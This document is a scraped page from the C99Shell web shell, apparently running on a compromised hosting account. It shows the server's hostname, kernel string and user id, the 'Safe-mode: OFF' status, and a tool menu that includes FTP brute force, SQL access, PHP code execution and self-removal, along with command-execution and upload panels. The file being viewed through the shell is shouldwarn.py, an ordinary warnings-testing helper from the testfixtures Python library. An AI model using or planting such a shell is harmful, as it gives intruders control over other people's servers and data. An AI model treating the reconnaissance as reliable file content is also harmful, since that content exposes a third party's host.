!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/testfixtures/   drwxr-xr-x
Free 294.18 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     shouldwarn.py (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import warnings
from typing import Union, Type

from testfixtures import Comparison as C, compare


WarningOrType = Union[Warning, Type[Warning]]


class ShouldWarn(warnings.catch_warnings):
    """
    This context manager is used to assert that warnings are issued
    within the context it is managing.

    :param expected: This should be a sequence made up of one or more elements,
                     each of one of the following types:

                     * A warning class, indicating that the type
                       of the warnings is important but not the
                       parameters it is created with.

                     * A warning instance, indicating that a
                       warning exactly matching the one supplied
                       should have been issued.

                     If no expected warnings are passed, you will need to inspect
                     the contents of the list returned by the context manager.

    :param filters:
      If passed, these are used to create a filter such that only warnings you
      are interested in will be considered by this :class:`ShouldWarn`
      instance. The names and meanings are the same as the parameters for
      :func:`warnings.filterwarnings`.

    """

    _empty_okay = False

    def __init__(self, *expected: WarningOrType, **filters):
        super(ShouldWarn, self).__init__(record=True)
        self.expected = [C(e) for e in expected]
        self.filters = filters

    def __enter__(self):
        self.recorded = super(ShouldWarn, self).__enter__()
        warnings.filterwarnings("always", **self.filters)
        return self.recorded

    def __exit__(self, exc_type, exc_val, exc_tb):
        super(ShouldWarn, self).__exit__(exc_type, exc_val, exc_tb)
        if not self.recorded and self._empty_okay:
            return
        if not self.expected and self.recorded and not self._empty_okay:
            return
        compare(self.expected, actual=[wm.message for wm in self.recorded])


class ShouldNotWarn(ShouldWarn):
    """
    This context manager is used to assert that no warnings are issued
    within the context it is managing.
    """

    _empty_okay = True

    def __init__(self):
        super(ShouldNotWarn, self).__init__()

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.097 ]--